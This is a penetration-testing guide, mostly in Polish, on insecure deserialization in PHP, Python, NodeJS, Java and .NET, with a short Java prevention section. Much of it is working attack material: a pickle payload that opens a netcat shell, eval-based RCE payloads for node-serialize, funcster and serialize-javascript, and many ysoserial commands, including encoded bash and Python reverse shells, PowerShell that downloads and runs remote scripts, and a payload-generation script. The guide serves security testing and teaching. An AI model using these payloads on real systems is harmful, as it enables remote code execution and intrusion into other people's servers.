Deserialization

Wsparcie HackTricks

Podstawowe informacje

Serializacja jest rozumiana jako metoda konwertowania obiektu na format, który można zachować, z zamiarem przechowywania obiektu lub przesyłania go jako część procesu komunikacji. Technika ta jest powszechnie stosowana, aby zapewnić, że obiekt może być odtworzony w późniejszym czasie, zachowując swoją strukturę i stan.

Deserializacja, przeciwnie, jest procesem, który przeciwdziała serializacji. Polega na wzięciu danych, które zostały ustrukturyzowane w określonym formacie i odbudowaniu ich z powrotem w obiekt.

Deserializacja może być niebezpieczna, ponieważ potencjalnie pozwala atakującym manipulować zserializowanymi danymi w celu wykonania szkodliwego kodu lub spowodowania nieoczekiwanego zachowania w aplikacji podczas procesu odbudowy obiektu.

PHP

W PHP podczas procesów serializacji i deserializacji wykorzystywane są specyficzne metody magiczne:

  • __sleep: Wywoływana, gdy obiekt jest serializowany. Metoda ta powinna zwracać tablicę nazw wszystkich właściwości obiektu, które powinny być serializowane. Jest powszechnie używana do zatwierdzania oczekujących danych lub wykonywania podobnych zadań porządkowych.

  • __wakeup: Wywoływana, gdy obiekt jest deserializowany. Używana do przywracania wszelkich połączeń z bazą danych, które mogły zostać utracone podczas serializacji oraz do wykonywania innych zadań ponownej inicjalizacji.

  • __unserialize: Ta metoda jest wywoływana zamiast __wakeup (jeśli istnieje) podczas deserializacji obiektu. Daje większą kontrolę nad procesem deserializacji w porównaniu do __wakeup.

  • __destruct: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zwykle używana do zadań porządkowych, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.

  • __toString: Ta metoda pozwala traktować obiekt jako ciąg znaków. Może być używana do odczytu pliku lub innych zadań opartych na wywołaniach funkcji w nim, skutecznie zapewniając tekstową reprezentację obiektu.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Jeśli spojrzysz na wyniki, możesz zobaczyć, że funkcje __wakeup i __destruct są wywoływane, gdy obiekt jest deserializowany. Zauważ, że w kilku samouczkach znajdziesz, że funkcja __toString jest wywoływana, gdy próbujesz wydrukować jakiś atrybut, ale najwyraźniej to już się nie dzieje.

Metoda __unserialize(array $data) jest wywoływana zamiast __wakeup(), jeśli jest zaimplementowana w klasie. Umożliwia to deserializację obiektu, dostarczając zserializowane dane jako tablicę. Możesz użyć tej metody do deserializacji właściwości i wykonania wszelkich niezbędnych zadań po deserializacji.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Możesz przeczytać wyjaśniony przykład PHP tutaj: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, tutaj https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf lub tutaj https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Możesz nadużyć funkcjonalności autoload PHP, aby załadować dowolne pliki php i więcej:

Serializing Referenced Values

Jeśli z jakiegoś powodu chcesz zserializować wartość jako referencję do innej wartości zserializowanej, możesz:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial dla PHP)

PHPGGC może pomóc w generowaniu ładunków do nadużywania deserializacji PHP. Zauważ, że w wielu przypadkach nie będziesz w stanie znaleźć sposobu na nadużycie deserializacji w kodzie źródłowym aplikacji, ale możesz być w stanie nadużyć kodu zewnętrznych rozszerzeń PHP. Więc, jeśli możesz, sprawdź phpinfo() serwera i przeszukaj internet (a nawet gadżety PHPGGC) w poszukiwaniu możliwego gadżetu, który mógłbyś nadużyć.

deserializacja metadanych phar://

Jeśli znalazłeś LFI, który tylko odczytuje plik i nie wykonuje kodu php w nim, na przykład używając funkcji takich jak file_get_contents(), fopen(), file() lub file_exists(), md5_file(), filemtime() lub filesize(). Możesz spróbować nadużyć deserializacji występującej podczas odczytu pliku za pomocą protokołu phar. Aby uzyskać więcej informacji, przeczytaj następujący post:

Python

Pickle

Gdy obiekt zostanie odpakowany, funkcja __reduce__ zostanie wykonana. Gdy zostanie wykorzystana, serwer może zwrócić błąd.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

For more information about escaping from pickle jails check:

Yaml & jsonpickle

The following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate RCE deserialization payload for Pickle, PyYAML, jsonpickle and ruamel.yaml:

Class Pollution (Python Prototype Pollution)

NodeJS

JS Magic Functions

JS nie ma "magicznych" funkcji jak PHP czy Python, które są wykonywane tylko w celu utworzenia obiektu. Ale ma kilka funkcji, które są często używane nawet bez bezpośredniego ich wywoływania, takich jak toString, valueOf, toJSON. Jeśli nadużyjesz deserializacji, możesz skompromentować te funkcje, aby wykonać inny kod (potencjalnie nadużywając zanieczyszczenia prototypu), co pozwoli ci wykonać dowolny kod, gdy zostaną wywołane.

Inny "magiczny" sposób na wywołanie funkcji bez bezpośredniego jej wywoływania to skompromentowanie obiektu, który jest zwracany przez funkcję asynchroniczną (promise). Ponieważ, jeśli przekształcisz ten obiekt zwracany w inną obietnicę z właściwością o nazwie "then" typu funkcja, zostanie on wykonany tylko dlatego, że jest zwracany przez inną obietnicę. Follow this link for more info.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ i zanieczyszczenie prototype

Jeśli chcesz dowiedzieć się więcej o tej technice zobacz następujący samouczek:

Ta biblioteka pozwala na serializację funkcji. Przykład:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Obiekt serializowany będzie wyglądał następująco:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Możesz zobaczyć w przykładzie, że gdy funkcja jest serializowana, flaga _$$ND_FUNC$$_ jest dołączana do obiektu serializowanego.

W pliku node-serialize/lib/serialize.js możesz znaleźć tę samą flagę i sposób, w jaki kod jej używa.

Jak możesz zobaczyć w ostatnim kawałku kodu, jeśli flaga zostanie znaleziona, używane jest eval do deserializacji funkcji, więc zasadniczo dane wejściowe użytkownika są używane wewnątrz funkcji eval.

Jednak samego serializowania funkcji nie wykona, ponieważ konieczne byłoby, aby jakaś część kodu wywoływała y.rce w naszym przykładzie, a to jest wysoce mało prawdopodobne. Tak czy inaczej, możesz po prostu zmodyfikować obiekt serializowany, dodając nawiasy, aby automatycznie wykonać serializowaną funkcję, gdy obiekt zostanie deserializowany. W następnym kawałku kodu zauważ ostatni nawias i jak funkcja unserialize automatycznie wykona kod:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Jak wcześniej wskazano, ta biblioteka pobierze kod po _$$ND_FUNC$$_ i wykona go za pomocą eval. Dlatego, aby automatycznie wykonać kod, możesz usunąć część tworzenia funkcji oraz ostatni nawias i po prostu wykonać jedną linię JS jak w poniższym przykładzie:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Możesz znaleźć tutaj dalsze informacje na temat tego, jak wykorzystać tę lukę.

Ciekawym aspektem funcster jest niedostępność standardowych obiektów wbudowanych; znajdują się one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu, który próbuje wywołać metody na obiektach wbudowanych, prowadząc do wyjątków takich jak "ReferenceError: console is not defined" gdy używane są polecenia takie jak console.log() lub require(something).

Pomimo tego ograniczenia, przywrócenie pełnego dostępu do kontekstu globalnego, w tym wszystkich standardowych obiektów wbudowanych, jest możliwe dzięki specyficznemu podejściu. Wykorzystując kontekst globalny bezpośrednio, można obejść to ograniczenie. Na przykład, dostęp można przywrócić za pomocą następującego fragmentu:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Aby uzyskać więcej informacji, przeczytaj to źródło.

Pakiet serialize-javascript jest zaprojektowany wyłącznie do celów serializacji, nie posiada żadnych wbudowanych możliwości deserializacji. Użytkownicy są odpowiedzialni za wdrożenie własnej metody deserializacji. Bezpośrednie użycie eval jest sugerowane przez oficjalny przykład do deserializacji danych serializowanych:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Jeśli ta funkcja jest używana do deserializacji obiektów, możesz łatwo to wykorzystać:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Aby uzyskać więcej informacji, przeczytaj to źródło.

Biblioteka Cryo

Na poniższych stronach znajdziesz informacje o tym, jak nadużywać tej biblioteki do wykonywania dowolnych poleceń:

Java - HTTP

W Javie wywołania zwrotne deserializacji są wykonywane podczas procesu deserializacji. To wykonanie może być wykorzystywane przez atakujących, którzy tworzą złośliwe ładunki, które wyzwalają te wywołania zwrotne, prowadząc do potencjalnego wykonania szkodliwych działań.

Odciski palców

Biała skrzynka

Aby zidentyfikować potencjalne luki w serializacji w kodzie, poszukaj:

  • Klas implementujących interfejs Serializable.

  • Użycia funkcji java.io.ObjectInputStream, readObject, readUnshared.

Zwróć szczególną uwagę na:

  • XMLDecoder wykorzystywany z parametrami definiowanymi przez zewnętrznych użytkowników.

  • Metodę fromXML w XStream, szczególnie jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy z serializacją.

  • ObjectInputStream połączony z metodą readObject.

  • Implementację metod takich jak readObject, readObjectNodData, readResolve lub readExternal.

  • ObjectInputStream.readUnshared.

  • Ogólne użycie Serializable.

Czarna skrzynka

W przypadku testowania czarnej skrzynki, poszukaj specyficznych sygnatur lub "Magic Bytes", które oznaczają obiekty zserializowane w Javie (pochodzące z ObjectInputStream):

  • Wzór szesnastkowy: AC ED 00 05.

  • Wzór Base64: rO0.

  • Nagłówki odpowiedzi HTTP z Content-type ustawionym na application/x-java-serialized-object.

  • Wzór szesnastkowy wskazujący na wcześniejsze kompresowanie: 1F 8B 08 00.

  • Wzór Base64 wskazujący na wcześniejsze kompresowanie: H4sIA.

  • Pliki internetowe z rozszerzeniem .faces i parametrem faces.ViewState. Odkrycie tych wzorów w aplikacji internetowej powinno skłonić do zbadania, jak opisano w poście o deserializacji Java JSF ViewState.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Sprawdź, czy jest podatny

Jeśli chcesz dowiedzieć się, jak działa exploit deserializacji w Javie, powinieneś zapoznać się z Podstawową deserializacją Javy, Deserializacją DNS w Javie oraz Ładunkiem CommonsCollection1.

Test białego pudełka

Możesz sprawdzić, czy zainstalowana jest jakakolwiek aplikacja z znanymi podatnościami.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Możesz spróbować sprawdzić wszystkie biblioteki, które są znane jako podatne i dla których Ysoserial może dostarczyć exploit. Możesz również sprawdzić biblioteki wskazane na Java-Deserialization-Cheat-Sheet. Możesz także użyć gadgetinspector, aby wyszukać możliwe łańcuchy gadgetów, które można wykorzystać. Podczas uruchamiania gadgetinspector (po zbudowaniu) nie przejmuj się mnóstwem ostrzeżeń/błędów, przez które przechodzi, i pozwól mu zakończyć. Zapisze wszystkie wyniki w gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Proszę zauważyć, że gadgetinspector nie stworzy exploita i może wskazywać fałszywe pozytywy.

Test Black Box

Używając rozszerzenia Burp gadgetprobe, możesz zidentyfikować które biblioteki są dostępne (a nawet ich wersje). Z tą informacją może być łatwiej wybrać ładunek do wykorzystania podatności. Przeczytaj to, aby dowiedzieć się więcej o GadgetProbe. GadgetProbe koncentruje się na deserializacjach ObjectInputStream.

Używając rozszerzenia Burp Java Deserialization Scanner, możesz zidentyfikować podatne biblioteki nadające się do wykorzystania z ysoserial i wykorzystać je. Przeczytaj to, aby dowiedzieć się więcej o Java Deserialization Scanner. Java Deserialization Scanner koncentruje się na deserializacjach ObjectInputStream.

Możesz także użyć Freddy, aby wykryć podatności deserializacji w Burp. Ten plugin wykryje nie tylko podatności związane z ObjectInputStream, ale także podatności z bibliotek deserializacji Json i Yml. W trybie aktywnym spróbuje je potwierdzić, używając ładunków sleep lub DNS. Możesz znaleźć więcej informacji o Freddy tutaj.

Test Serializacji

Nie wszystko sprowadza się do sprawdzania, czy serwer używa jakiejkolwiek podatnej biblioteki. Czasami możesz być w stanie zmienić dane wewnątrz zserializowanego obiektu i obejść niektóre kontrole (może przyznać ci uprawnienia administratora w aplikacji webowej). Jeśli znajdziesz zserializowany obiekt java wysyłany do aplikacji webowej, możesz użyć SerializationDumper, aby wydrukować w bardziej czytelny sposób zserializowany obiekt, który jest wysyłany. Wiedząc, jakie dane wysyłasz, łatwiej będzie je zmodyfikować i obejść niektóre kontrole.

Exploity

ysoserial

Główne narzędzie do wykorzystywania deserializacji Java to ysoserial (pobierz tutaj). Możesz także rozważyć użycie ysoseral-modified, które pozwoli ci używać złożonych poleceń (na przykład z użyciem potoków). Zauważ, że to narzędzie jest skoncentrowane na wykorzystywaniu ObjectInputStream. Zalecałbym rozpoczęcie od ładunku "URLDNS" przed ładunkiem RCE, aby sprawdzić, czy wstrzyknięcie jest możliwe. Tak czy inaczej, zauważ, że może ładunek "URLDNS" nie działa, ale inny ładunek RCE może działać.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Kiedy tworzysz ładunek dla java.lang.Runtime.exec(), nie możesz używać znaków specjalnych takich jak ">" lub "|" do przekierowania wyjścia z wykonania, "$()" do wykonywania poleceń, ani nawet przekazywać argumentów do polecenia oddzielonych spacjami (możesz zrobić echo -n "hello world", ale nie możesz zrobić python2 -c 'print "Hello world"'). Aby poprawnie zakodować ładunek, możesz użyć tej strony.

Czuj się swobodnie, aby użyć następnego skryptu do stworzenia wszystkich możliwych ładunków wykonania kodu dla Windows i Linux, a następnie przetestować je na podatnej stronie internetowej:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Możesz użyć https://github.com/pwntester/SerialKillerBypassGadgetCollection razem z ysoserial, aby stworzyć więcej exploitów. Więcej informacji na temat tego narzędzia znajduje się w prezentacji, w której narzędzie zostało zaprezentowane: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec może być używane do generowania ładunków do eksploatacji różnych Json i Yml bibliotek serializacji w Javie. Aby skompilować projekt, musiałem dodać te zależności do pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Zainstaluj maven, a następnie skompiluj projekt:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Przeczytaj więcej o tej bibliotece Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Java używa dużo serializacji do różnych celów, takich jak:

  • Żądania HTTP: Serializacja jest szeroko stosowana w zarządzaniu parametrami, ViewState, ciasteczkami itp.

  • RMI (Remote Method Invocation): Protokół RMI w Javie, który w całości opiera się na serializacji, jest fundamentem komunikacji zdalnej w aplikacjach Java.

  • RMI przez HTTP: Ta metoda jest powszechnie używana przez aplikacje webowe oparte na Javie, wykorzystując serializację do wszystkich komunikacji obiektów.

  • JMX (Java Management Extensions): JMX wykorzystuje serializację do przesyłania obiektów przez sieć.

  • Protokóły niestandardowe: W Javie standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie zaprezentowane w nadchodzących przykładach exploitów.

Prevention

Obiekty transientne

Klasa, która implementuje Serializable, może oznaczyć jako transient każdy obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Unikaj serializacji klasy, która musi implementować Serializable

W scenariuszach, w których niektóre obiekty muszą implementować interfejs Serializable z powodu hierarchii klas, istnieje ryzyko niezamierzonej deserializacji. Aby temu zapobiec, upewnij się, że te obiekty są nie-deserializowalne, definiując final metodę readObject(), która zawsze rzuca wyjątek, jak pokazano poniżej:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Zwiększanie bezpieczeństwa deserializacji w Javie

Dostosowanie java.io.ObjectInputStream to praktyczne podejście do zabezpieczania procesów deserializacji. Metoda ta jest odpowiednia, gdy:

  • Kod deserializacji jest pod twoją kontrolą.

  • Klasy oczekiwane do deserializacji są znane.

Nadpisz metodę resolveClass(), aby ograniczyć deserializację tylko do dozwolonych klas. Zapobiega to deserializacji jakiejkolwiek klasy, z wyjątkiem tych wyraźnie dozwolonych, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Używanie agenta Java do zwiększenia bezpieczeństwa oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Metoda ta dotyczy głównie czarnej listy szkodliwych klas, przy użyciu parametru JVM:

-javaagent:name-of-agent.jar

Zapewnia sposób na dynamiczne zabezpieczenie deserializacji, idealny dla środowisk, w których natychmiastowe zmiany w kodzie są niepraktyczne.

Sprawdź przykład w rO0 by Contrast Security

Implementacja filtrów serializacji: Java 9 wprowadziła filtry serializacji za pomocą interfejsu ObjectInputFilter, co zapewnia potężny mechanizm do określania kryteriów, które obiekty serializowane muszą spełniać przed deserializacją. Filtry te mogą być stosowane globalnie lub na poziomie strumienia, oferując szczegółową kontrolę nad procesem deserializacji.

Aby skorzystać z filtrów serializacji, możesz ustawić filtr globalny, który stosuje się do wszystkich operacji deserializacji lub skonfigurować go dynamicznie dla konkretnych strumieni. Na przykład:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Wykorzystanie zewnętrznych bibliotek dla zwiększonego bezpieczeństwa: Biblioteki takie jak NotSoSerial, jdeserialize i Kryo oferują zaawansowane funkcje do kontrolowania i monitorowania deserializacji w Javie. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak białe i czarne listy klas, analizowanie obiektów serializowanych przed deserializacją oraz wdrażanie niestandardowych strategii serializacji.

  • NotSoSerial przechwytuje procesy deserializacji, aby zapobiec wykonaniu nieufnego kodu.

  • jdeserialize umożliwia analizę serializowanych obiektów Java bez ich deserializacji, co pomaga w identyfikacji potencjalnie złośliwej zawartości.

  • Kryo to alternatywna ramka do serializacji, która kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo.

Odniesienia

Wstrzykiwanie JNDI i log4Shell

Znajdź, czym jest Wstrzykiwanie JNDI, jak je wykorzystać za pomocą RMI, CORBA i LDAP oraz jak wykorzystać log4shell (i przykład tej podatności) na następującej stronie:

JMS - Java Message Service

API Java Message Service (JMS) to API middleware oparte na wiadomościach w Javie, służące do wysyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do rozwiązania problemu producenta-konsumenta. JMS jest częścią platformy Java Platform, Enterprise Edition (Java EE) i została zdefiniowana przez specyfikację opracowaną w Sun Microsystems, ale od tego czasu była kierowana przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i odczytywać wiadomości. Umożliwia to luźne powiązanie, niezawodną i asynchroniczną komunikację między różnymi komponentami rozproszonej aplikacji. (Z Wikipedia).

Produkty

Istnieje kilka produktów korzystających z tego middleware do wysyłania wiadomości:

Wykorzystanie

Tak więc, zasadniczo istnieje wiele usług korzystających z JMS w niebezpieczny sposób. Dlatego, jeśli masz wystarczające uprawnienia do wysyłania wiadomości do tych usług (zazwyczaj będziesz potrzebować ważnych poświadczeń), możesz być w stanie wysłać złośliwe obiekty serializowane, które będą deserializowane przez konsumenta/subskrybenta. Oznacza to, że w tym wykorzystaniu wszystkie klienty, które będą korzystać z tej wiadomości, zostaną zainfekowane.

Powinieneś pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe od użytkownika), nadal musisz znaleźć ważne gadżety, aby wykorzystać tę podatność.

Narzędzie JMET zostało stworzone, aby łączyć się i atakować te usługi, wysyłając kilka złośliwych obiektów serializowanych przy użyciu znanych gadżetów. Te exploity będą działać, jeśli usługa nadal będzie podatna i jeśli jakikolwiek z używanych gadżetów znajduje się w podatnej aplikacji.

Odniesienia

.Net

W kontekście .Net, exploity deserializacji działają w sposób podobny do tych w Javie, gdzie gadżety są wykorzystywane do uruchamiania określonego kodu podczas deserializacji obiektu.

Odcisk palca

WhiteBox

Kod źródłowy powinien być sprawdzany pod kątem wystąpień:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Skup się na serializerach, które pozwalają na określenie typu przez zmienną pod kontrolą użytkownika.

BlackBox

Poszukiwania powinny koncentrować się na zakodowanym ciągu Base64 AAEAAAD///// lub jakimkolwiek podobnym wzorze, który może być deserializowany po stronie serwera, dając kontrolę nad typem, który ma być deserializowany. Może to obejmować, ale nie ogranicza się do, struktur JSON lub XML zawierających TypeObject lub $type.

ysoserial.net

W tym przypadku możesz użyć narzędzia ysoserial.net, aby tworzyć exploity deserializacji. Po pobraniu repozytorium git powinieneś skompilować narzędzie na przykład za pomocą Visual Studio.

